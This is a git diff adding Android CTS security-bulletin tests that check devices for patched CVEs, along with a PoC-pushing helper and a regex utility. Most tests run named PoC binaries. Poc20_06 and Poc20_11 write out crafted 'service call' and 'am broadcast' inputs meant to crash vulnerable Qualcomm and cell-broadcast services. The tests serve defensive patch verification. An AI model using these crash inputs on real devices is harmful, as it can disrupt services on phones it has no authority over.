new file mode 100644
index 0000000..67986fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_06 extends SecurityTestCase {
+
+ /**
+ * b/129556445
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-06")
+ public void testPocCVE_2019_2097() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2097", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
new file mode 100644
index 0000000..c2ce29d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_08.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_08 extends SecurityTestCase {
+
+ /**
+ * b/129556445
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-08")
+ public void testPocCVE_2019_2130() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2130", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
new file mode 100644
index 0000000..a79e2b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_11.java
@@ -0,0 +1,48 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_11 extends SecurityTestCase {
+
+ /**
+ * b/138441919
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void testPocBug_138441919() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("bug_138441919", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+
+ /**
+ * b/139806216
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-11")
+ public void testPocBug_139806216() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("bug_139806216", getDevice());
+ assertTrue(code != 139 && code != 135); // 128 + signal 11, 128 + signal 7
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+ /**
+ * CVE-2019-14002
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testPocCVE_2019_14002() throws Exception {
+ String result =
+ AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+ assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab1
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+ /**
+ * b/147882143
+ * b/152874234
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-03")
+ public void testPocCVE_2020_0069() throws Exception {
+ if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+ containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+ containsDriver(getDevice(), "/dev/mtk_mdp")) {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+ getDevice(), 300);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2020-3635
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3635() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+ }
+ }
+
+ /**
+ * CVE-2020-3626
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3626() throws Exception {
+ String isApplicable =
+ AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+ if (!isApplicable.isEmpty()) {
+ String result =
+ AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+ assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+ }
+ }
+
+ /**
+ * CVE-2020-3628
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3628() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.qti.logkit",getDevice());
+ assertFalse(result.contains("com.qualcomm.qti.logkit"));
+ }
+
+ /**
+ * CVE-2020-3676
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3676() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+ AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..cfa53ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testPocCVE_2020_0437() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am broadcast " +
+ "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+ "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+ "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+ getDevice());
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
new file mode 100644
index 0000000..fe8c239
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/PocPusher.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.io.File;
+import java.io.FileNotFoundException;
+
+import org.junit.runner.Description;
+import org.junit.rules.TestWatcher;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+
+import static org.junit.Assume.*;
+import static org.junit.Assert.*;
+
+public class PocPusher extends TestWatcher {
+ private ITestDevice device = null;
+ private CompatibilityBuildHelper buildHelper = null;
+ private IAbi abi = null;
+
+ private Set<String> filesToCleanup = new HashSet();
+ public boolean bitness32 = true;
+ public boolean bitness64 = true;
+ public boolean appendBitness = true;
+ public boolean cleanup = true;
+
+ @Override
+ protected void starting(Description d) {
+ bothBitness();
+ appendBitness = true;
+ cleanup = true;
+ }
+
+ @Override
+ protected void finished(Description d) {
+ for (Iterator<String> it = filesToCleanup.iterator(); it.hasNext();) {
+ String file = it.next();
+ try {
+ CLog.i("Cleaning up %s", file);
+ device.deleteFile(file);
+ } catch (DeviceNotAvailableException e) {
+ CLog.e("Device unavailable when cleaning up %s", file);
+ continue; // try to remove next time
+ }
+ it.remove();
+ }
+ }
+
+ public PocPusher setDevice(ITestDevice device) {
+ this.device = device;
+ return this;
+ }
+
+ public PocPusher setAbi(IAbi abi) {
+ this.abi = abi;
+ return this;
+ }
+
+ public PocPusher setBuild(IBuildInfo buildInfo) {
+ buildHelper = new CompatibilityBuildHelper(buildInfo);
+ return this;
+ }
+
+ public PocPusher appendBitness(boolean append) {
+ this.appendBitness = append;
+ return this;
+ }
+
+ public PocPusher cleanup(boolean cleanup) {
+ this.cleanup = cleanup;
+ return this;
+ }
+
+ public PocPusher only32() {
+ bitness32 = true;
+ bitness64 = false;
+ return this;
+ }
+
+ public PocPusher only64() {
+ bitness32 = false;
+ bitness64 = true;
+ return this;
+ }
+
+ public PocPusher bothBitness() {
+ bitness32 = true;
+ bitness64 = true;
+ return this;
+ }
+
+ public void pushFile(String testFile, String remoteFile)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ if (appendBitness) {
+ // if neither 32 or 64, nothing would ever be pushed.
+ assertTrue("bitness must be 32, 64, or both.", bitness32 || bitness64);
+
+ String bitness = SecurityTestCase.getAbi(device).getBitness().trim();
+
+ // 32-bit doesn't have a 64-bit compatibility layer; skipping.
+ assumeFalse(bitness.equals("32") && !bitness32);
+
+ // push the 32-bit file on 64-bit device if a 64-bit file doesn't exist.
+ if (bitness.equals("64") && !bitness64) {
+ bitness = "32";
+ CLog.i("Pushing a 32-bit file onto a 64-bit device.");
+ }
+ testFile += bitness;
+ }
+ File localFile = buildHelper.getTestFile(testFile);
+ CLog.i("Pushing local: %s to remote: %s", testFile.toString(), remoteFile);
+ device.pushFile(localFile, remoteFile);
+ if (cleanup) {
+ filesToCleanup.add(remoteFile);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
new file mode 100644
index 0000000..9ce7e39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/RegexUtils.java
@@ -0,0 +1,143 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import java.util.concurrent.TimeoutException;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import static org.junit.Assert.*;
+
+public class RegexUtils {
+ private static final int TIMEOUT_DURATION = 20 * 60_000; // 20 minutes
+ private static final int WARNING_THRESHOLD = 1000; // 1 second
+ private static final int CONTEXT_RANGE = 100; // chars before/after matched input string
+
+ public static void assertContains(String pattern, String input) throws Exception {
+ assertFind(pattern, input, false, false);
+ }
+
+ public static void assertContainsMultiline(String pattern, String input) throws Exception {
+ assertFind(pattern, input, false, true);
+ }
+
+ public static void assertNotContains(String pattern, String input) throws Exception {
+ assertFind(pattern, input, true, false);
+ }
+
+ public static void assertNotContainsMultiline(String pattern, String input) throws Exception {
+ assertFind(pattern, input, true, true);
+ }
+
+ private static void assertFind(
+ String pattern, String input, boolean shouldFind, boolean multiline) {
+ // The input string throws an error when used after the timeout
+ TimeoutCharSequence timedInput = new TimeoutCharSequence(input, TIMEOUT_DURATION);
+ Matcher matcher = null;
+ if (multiline) {
+ // DOTALL lets .* match line separators
+ // MULTILINE lets ^ and $ match line separators instead of input start and end
+ matcher = Pattern.compile(
+ pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(timedInput);
+ } else {
+ matcher = Pattern.compile(pattern).matcher(timedInput);
+ }
+
+ try {
+ long start = System.currentTimeMillis();
+ boolean found = matcher.find();
+ long duration = System.currentTimeMillis() - start;
+
+ if (duration > WARNING_THRESHOLD) {
+ // Provide a warning to the test developer that their regex should be optimized.
+ CLog.logAndDisplay(LogLevel.WARN, "regex match took " + duration + "ms.");
+ }
+
+ if (found && shouldFind) { // failed notContains
+ String substring = input.substring(matcher.start(), matcher.end());
+ String context = getInputContext(input, matcher.start(), matcher.end(),
+ CONTEXT_RANGE, CONTEXT_RANGE);
+ fail("Pattern found: '" + pattern + "' -> '" + substring + "' for input:\n..." +
+ context + "...");
+ } else if (!found && !shouldFind) { // failed contains
+ fail("Pattern not found: '" + pattern + "' for input:\n..." + input + "...");
+ }
+ } catch (TimeoutCharSequence.CharSequenceTimeoutException e) {
+ // regex match has taken longer than the timeout
+ // this usually means the input is extremely long or the regex is catastrophic
+ fail("Regex timeout with pattern: '" + pattern + "' for input:\n..." + input + "...");
+ }
+ }
+
+ /*
+ * Helper method to grab the nearby chars for a subsequence. Similar to the -A and -B flags for
+ * grep.
+ */
+ private static String getInputContext(String input, int start, int end, int before, int after) {
+ start = Math.max(0, start - before);
+ end = Math.min(input.length(), end + after);
+ return input.substring(start, end);
+ }
+
+ /*
+ * Wrapper for a given CharSequence. When charAt() is called, the current time is compared
+ * against the timeout. If the current time is greater than the expiration time, an exception is
+ * thrown. The expiration time is (time of object construction) + (timeout in milliseconds).
+ */
+ private static class TimeoutCharSequence implements CharSequence {
+ long expireTime = 0;
+ CharSequence chars = null;
+
+ TimeoutCharSequence(CharSequence chars, long timeout) {
+ this.chars = chars;
+ expireTime = System.currentTimeMillis() + timeout;
+ }
+
+ @Override
+ public char charAt(int index) {
+ if (System.currentTimeMillis() > expireTime) {
+ throw new CharSequenceTimeoutException(
+ "TimeoutCharSequence was used after the expiration time.");
+ }
+ return chars.charAt(index);
+ }
+
+ @Override
+ public int length() {
+ return chars.length();
+ }
+
+ @Override
+ public CharSequence subSequence(int start, int end) {
+ return new TimeoutCharSequence(chars.subSequence(start, end),
+ expireTime - System.currentTimeMillis());
+ }
+
+ @Override
+ public String toString() {
+ return chars.toString();
+ }
+
+ private static class CharSequenceTimeoutException extends RuntimeException {
+ public CharSequenceTimeoutException(String message) {
+ super(message);
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index cacceaa..491dcab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,143 +16,275 @@
package android.security.cts;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.regex.Pattern;
-import com.android.ddmlib.MultiLineReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.ddmlib.Log;
-public class SecurityTestCase extends DeviceTestCase {
+import org.junit.rules.TestName;
+import org.junit.Rule;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+import java.util.HashMap;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.concurrent.Callable;
+import java.math.BigInteger;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+public class SecurityTestCase extends BaseHostJUnit4Test {
private static final String LOG_TAG = "SecurityTestCase";
+ private static final int RADIX_HEX = 16;
+
+ protected static final int TIMEOUT_DEFAULT = 60;
+ // account for the poc timer of 5 minutes (+15 seconds for safety)
+ protected static final int TIMEOUT_NONDETERMINISTIC = 315;
private long kernelStartTime;
- private static Thread checkOom = null;
+
+ private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+
+ @Rule public TestName testName = new TestName();
+ @Rule public PocPusher pocPusher = new PocPusher();
+
+ private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
+ private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
+ private static Map<ITestDevice, String> sTestName = new HashMap<>();
+ private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
/**
* Waits for device to be online, marks the most recent boottime of the device
*/
- @Override
+ @Before
public void setUp() throws Exception {
- super.setUp();
-
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
- kernelStartTime = System.currentTimeMillis()/1000 -
- Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
- //TODO:(badash@): Watch for other things to track.
+ getDevice().waitForDeviceAvailable();
+ getDevice().disableAdbRoot();
+ updateKernelStartTime();
+ // TODO:(badash@): Watch for other things to track.
// Specifically time when app framework starts
- // Start Out of Memory detection in separate thread
- //if (checkOom == null || !checkOom.isAlive()) {
- // checkOom = new Thread(new OomChecker());
- // checkOom.start();
- //}
- }
+ oomCatcher.start();
+ sBuildInfo.put(getDevice(), getBuild());
+ sAbi.put(getDevice(), getAbi());
+ sTestName.put(getDevice(), testName.getMethodName());
- /**
- * Allows a CTS test to pass if called after a planned reboot.
- */
- public void updateKernelStartTime() throws Exception {
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
- kernelStartTime = System.currentTimeMillis()/1000 -
- Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
- }
-
- /**
- * Use {@link NativeDevice#enableAdbRoot()} internally.
- *
- * The test methods calling this function should run even if enableAdbRoot fails, which is why
- * the return value is ignored. However, we may want to act on that data point in the future.
- */
- public boolean enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
- if(mDevice.enableAdbRoot()) {
- return true;
- } else {
- CLog.w("\"enable-root\" set to false! Root is required to check if device is vulnerable.");
- return false;
- }
- }
-
- /**
- * Check if a driver is present on a machine
- */
- public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
- String result = mDevice.executeShellCommand("ls -Zl " + driver);
- if(result.contains("No such file or directory")) {
- return false;
- }
- return true;
+ pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
+ sPocPusher.put(getDevice(), pocPusher);
}
/**
* Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
* (due to rounding) of the previous boottime to check if The phone has crashed.
*/
- @Override
+ @After
public void tearDown() throws Exception {
- getDevice().waitForDeviceAvailable(120 * 1000);
- String uptime = getDevice().executeShellCommand("cat /proc/uptime");
- assertTrue("Phone has had a hard reset",
- (System.currentTimeMillis()/1000 -
- Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
- - kernelStartTime < 2));
- //TODO(badash@): add ability to catch runtime restart
- getDevice().disableAdbRoot();
+ oomCatcher.stop(getDevice().getSerialNumber());
+
+ try {
+ getDevice().waitForDeviceAvailable(90 * 1000);
+ } catch (DeviceNotAvailableException e) {
+ // Force a disconnection of all existing sessions to see if that unsticks adbd.
+ getDevice().executeAdbCommand("reconnect");
+ getDevice().waitForDeviceAvailable(30 * 1000);
+ }
+
+ if (oomCatcher.isOomDetected()) {
+ // we don't need to check kernel start time if we intentionally rebooted because oom
+ updateKernelStartTime();
+ switch (oomCatcher.getOomBehavior()) {
+ case FAIL_AND_LOG:
+ fail("The device ran out of memory.");
+ break;
+ case PASS_AND_LOG:
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+ break;
+ case FAIL_NO_LOG:
+ fail();
+ break;
+ }
+ } else {
+ long deviceTime = getDeviceUptime() + kernelStartTime;
+ long hostTime = System.currentTimeMillis() / 1000;
+ assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+
+ // TODO(badash@): add ability to catch runtime restart
+ }
}
+ public static IBuildInfo getBuildInfo(ITestDevice device) {
+ return sBuildInfo.get(device);
+ }
+
+ public static IAbi getAbi(ITestDevice device) {
+ return sAbi.get(device);
+ }
+
+ public static String getTestName(ITestDevice device) {
+ return sTestName.get(device);
+ }
+
+ public static PocPusher getPocPusher(ITestDevice device) {
+ return sPocPusher.get(device);
+ }
+
+ // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
+ // b/123237827
+ @Deprecated
public void assertMatches(String pattern, String input) throws Exception {
- assertTrue("Pattern not found", Pattern.matches(pattern, input));
+ RegexUtils.assertContains(pattern, input);
}
+ @Deprecated
+ public void assertMatchesMultiLine(String pattern, String input) throws Exception {
+ RegexUtils.assertContainsMultiline(pattern, input);
+ }
+
+ @Deprecated
public void assertNotMatches(String pattern, String input) throws Exception {
- assertFalse("Pattern found", Pattern.matches(pattern, input));
+ RegexUtils.assertNotContains(pattern, input);
}
+ @Deprecated
public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
- assertFalse("Pattern found",
- Pattern.compile(pattern,
- Pattern.DOTALL).matcher(input).matches());
+ RegexUtils.assertNotContainsMultiline(pattern, input);
}
- class OomChecker implements Runnable {
-
- @Override
- public void run() {
- MultiLineReceiver rcvr = new MultiLineReceiver() {
- private boolean isCancelled = false;
-
- public void processNewLines(String[] lines) {
- for (String line : lines) {
- if (Pattern.matches(".*lowmemorykiller.*", line)) {
- // low memory detected, reboot device to clear memory and pass test
- isCancelled = true;
- Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
- try {
- getDevice().rebootUntilOnline();
- updateKernelStartTime();
- } catch (Exception e) {
- Log.e(LOG_TAG, e.toString());
- }
- return; // we don't need to process remaining lines in the array
- }
- }
- }
-
- public boolean isCancelled() {
- return isCancelled;
- }
- };
-
- try {
- AdbUtils.runCommandLine("logcat -c", getDevice());
- getDevice().executeShellCommand("logcat", rcvr);
- } catch (Exception e) {
- Log.e(LOG_TAG, e.toString());
+ /**
+ * Runs a provided function that collects a String to test against kernel pointer leaks.
+ * The getPtrFunction function implementation must return a String that starts with the
+ * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
+ * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
+ * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
+ * normal kernel space. The test re-runs to make false positives statistically insignificant.
+ * When kernel pointers won't change without a reboot, provide a device to reboot.
+ *
+ * @param getPtrFunction a function that returns a string that starts with a pointer
+ * @param deviceToReboot device to reboot when kernel pointers won't change
+ */
+ public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
+ throws Exception {
+ String ptr = null;
+ for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
+ ptr = getPtrFunction.call();
+ if (ptr == null) {
+ return;
+ }
+ if (!isKptr(ptr)) {
+ // quit early because the ptr is likely hashed or zeroed.
+ return;
+ }
+ if (deviceToReboot != null) {
+ deviceToReboot.nonBlockingReboot();
+ deviceToReboot.waitForDeviceAvailable();
+ updateKernelStartTime();
}
}
+ fail("\"" + ptr + "\" is an exposed kernel pointer.");
+ }
+
+ private boolean isKptr(String ptr) {
+ Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
+ if (!m.find() || m.start() != 0) {
+ // ptr string is malformed
+ return false;
+ }
+ int length = m.end();
+
+ if (length == 8) {
